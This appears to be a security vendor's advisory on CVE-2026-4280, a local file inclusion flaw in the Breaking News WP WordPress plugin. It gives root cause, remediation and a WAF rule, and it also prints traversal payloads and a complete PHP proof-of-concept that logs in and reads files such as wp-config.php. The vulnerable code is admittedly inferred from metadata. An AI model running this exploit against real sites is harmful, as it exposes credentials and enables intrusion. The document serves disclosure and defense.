Atomic Edge analysis of CVE-2026-4280 (metadata-based):
This vulnerability affects the Breaking News WP plugin version 1.3 and earlier. The plugin’s AJAX endpoint brnwp_ajax_form allows unauthenticated or low-privileged attackers to overwrite the brnwp_theme option with arbitrary directory traversal sequences. When the shortcode [breakingnews] is rendered, the plugin passes this option value directly to a PHP include() statement without proper sanitization, leading to local file inclusion (LFI). The CVSS 6.5 (High) reflects a network-accessible attack requiring subscriber-level authentication, with confidentiality impact only.
Root cause: The likely root cause is a combination of missing authorization checks on the AJAX handler and insufficient input validation. The description states sanitize_text_field() is applied to user input, but this function does not strip directory traversal sequences like ../. Furthermore, the brnwp_theme option is stored in the WordPress options table without proper validation, and when the shortcode is rendered, the plugin uses this stored value directly in an include() statement. We confirm that no authorization or CSRF checks exist on the brnwp_ajax_form endpoint based on the description. We infer that the vulnerable code pattern is: function brnwp_show_breaking_news_wp() { include(get_option(‘brnwp_theme’)); } and the AJAX handler saves this option via update_option(‘brnwp_theme’, $_POST[‘brnwp_theme’]).
Exploitation: An attacker with subscriber-level access (or higher) sends a POST request to /wp-admin/admin-ajax.php with action=brnwp_ajax_form and brnwp_theme set to a directory traversal payload such as ../../../../etc/passwd or ../../../../wp-config.php. This overwrites the brnwp_theme option. Then the attacker triggers the shortcode, either by visiting a page where the shortcode is active or by sending a request that renders it. The plugin calls include() with the manipulated option value, exposing the contents of arbitrary files on the server.
Remediation: The fix must implement three things. First, add a capability check (e.g., current_user_can(‘manage_options’)) to the AJAX handler to ensure only administrators can modify the brnwp_theme option. Second, implement proper input validation that rejects directory traversal sequences. This can be done by using basename() or realpath() on the user input and comparing it against a whitelist of allowed theme directories. Third, add a nonce verification to the AJAX request to prevent CSRF attacks. The include() statement should be hardened to only allow files within a specific directory, or removed entirely in favor of a safer method like wp_remote_get() or file_get_contents() with strict path validation.
Impact: An authenticated attacker with subscriber-level access can read sensitive files on the server. This includes wp-config.php (which contains database credentials and authentication keys), /etc/passwd (which lists system users), and any other readable file on the filesystem. This can lead to privilege escalation if database credentials are exposed, or further attacks if source code is disclosed. The vulnerability does not allow direct code execution unless the attacker can control the included file (e.g., by uploading a malicious file elsewhere on the server, such as through a media upload).
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4280 (metadata-based)
# Rule blocks LFI via the brnwp_ajax_form AJAX endpoint by matching the
# action parameter and directory traversal patterns in the brnwp_theme parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20264280,phase:2,deny,status:403,chain,msg:'CVE-2026-4280: Breaking News WP LFI via AJAX action brnwp_ajax_form',severity:'CRITICAL',tag:'CVE-2026-4280'"
SecRule ARGS_POST:action "@streq brnwp_ajax_form"
"chain"
SecRule ARGS_POST:brnwp_theme "@rx ../"
"t:lowercase,t:urlDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4280 - Breaking News WP <= 1.3 - Missing Authorization to Authenticated (Subscriber+) Local File Inclusion/Read
// This PoC demonstrates exploitation by first updating the brnwp_theme option
// with a directory traversal payload via the AJAX endpoint, then triggering
// the shortcode to include the target file.
// Configurable variables
$target_url = 'http://example.com'; // Change to target WordPress site URL
$username = 'subscriber'; // Valid subscriber account username
$password = 'password'; // Valid subscriber account password
$target_file = '/etc/passwd'; // File to read (adjust as needed)
// Step 1: Login and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false,
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Send AJAX request to overwrite brnwp_theme option with traversal payload
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'brnwp_ajax_form',
'brnwp_theme' => '..' . '/..' . '/..' . '/..' . $target_file // Build traversal path
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_SSL_VERIFYPEER => false,
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
echo "[+] Option overwritten. Triggering shortcode to read $target_file...n";
// Step 3: Trigger the shortcode to include the file
// The shortcode may be called via a page request or we can use a direct REST/action endpoint
// For this PoC, we visit the home page assuming the shortcode is active in a widget or post
$page_url = $target_url . '/?p=1'; // Can use any page that triggers shortcode rendering
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $page_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_SSL_VERIFYPEER => false,
]);
$page_response = curl_exec($ch);
curl_close($ch);
// Display the response (the included file content appears in the page)
echo $page_response;
// Clean up
unlink('/tmp/cookies.txt');